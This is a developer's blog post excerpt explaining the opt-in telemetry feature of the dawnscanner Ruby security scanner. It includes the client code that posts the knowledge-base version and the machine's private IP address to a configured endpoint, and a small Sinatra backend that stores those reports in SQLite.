endThe initialization part happens in the Dawn::Cli class.
$telemetry_url = $config[:telemetry][:endpoint] if $config[:telemetry][:enabled]
debug_me("telemetry url is " + $telemetry_url) unless @telemetry_url.nil?
$telemetry_id = $config[:telemetry][:id] if $config[:telemetry][:enabled]
debug_me("telemetry id is " + $telemetry_id) unless @telemetry_id.nil?
$logger.info("telemetry is disabled in config file") unless $config[:telemetry][:enabled]The real magic is in the Dawn::Engine class. Here we’ve got a telemetry method that do all the stuff.
The basic idea is to do a post on a URL posting the unique dawnscanner identifier (that is also the URL where the post is made), the IP address and the knowledge base version.
def have_a_telemetry_id?
debug_me ($telemetry_id != "" and ! $telemetry_id.nil?)
return ($telemetry_id != "" and ! $telemetry_id.nil?)
end
def get_a_telemetry_id
return "" if ($telemetry_url == "" or $telemetry_url.nil?)
debug_me("T: " + $telemetry_url)
url = URI.parse($telemetry_url+"/new")
res = Net::HTTP.get_response(url)
return "" unless res.code.to_i == 200
return JSON.parse(res.body)["uuid"]
end
def telemetry
unless have_a_telemetry_id?
$telemetry_id = get_a_telemetry_id
$config[:telemetry][:id] = $telemetry_id
debug_me($config)
debug_me("saving config to " + $config_name)
File.open($config_name, 'w') { |f| f.write $config.to_yaml }
end
debug_me("Telemetry ID is: " + $telemetry_id)
uri=URI.parse($telemetry_url+"/"+$telemetry_id)
header = {'Content-Type': 'text/json'}
tele = { "kb_version" => Dawn::KnowledgeBase::VERSION ,
"ip" => Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address,
"message"=> Dawn::KnowledgeBase
}
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Post.new(uri.request_uri, header)
request.body = tele.to_json
response=http.request(request)
debug_me(response.inspect)
return true
endThat’s it. No personal data apart from your IP is sent to dawnscanner servers. On backend side, I implemented a simple Sinatra post catcher block of code, saving the data on a SQLite3 database.
post '/:uuid' do
request.body.rewind
@request_payload = JSON.parse request.body.read
i = Id.find_by("uuid", params['uuid'].to_s)
unless i.nil?
l=Log.new
l.uuid = params['uuid'].to_s
l.ip=@request_payload['ip']
l.kb_version=@request_payload['kb_version']
l.message=@request_payload['message']
l.save
end
endThis very basic telemetry system needs tons of improvements and, of course, it’s opensource code hosted on Github.com.
Enjoy it!
]]>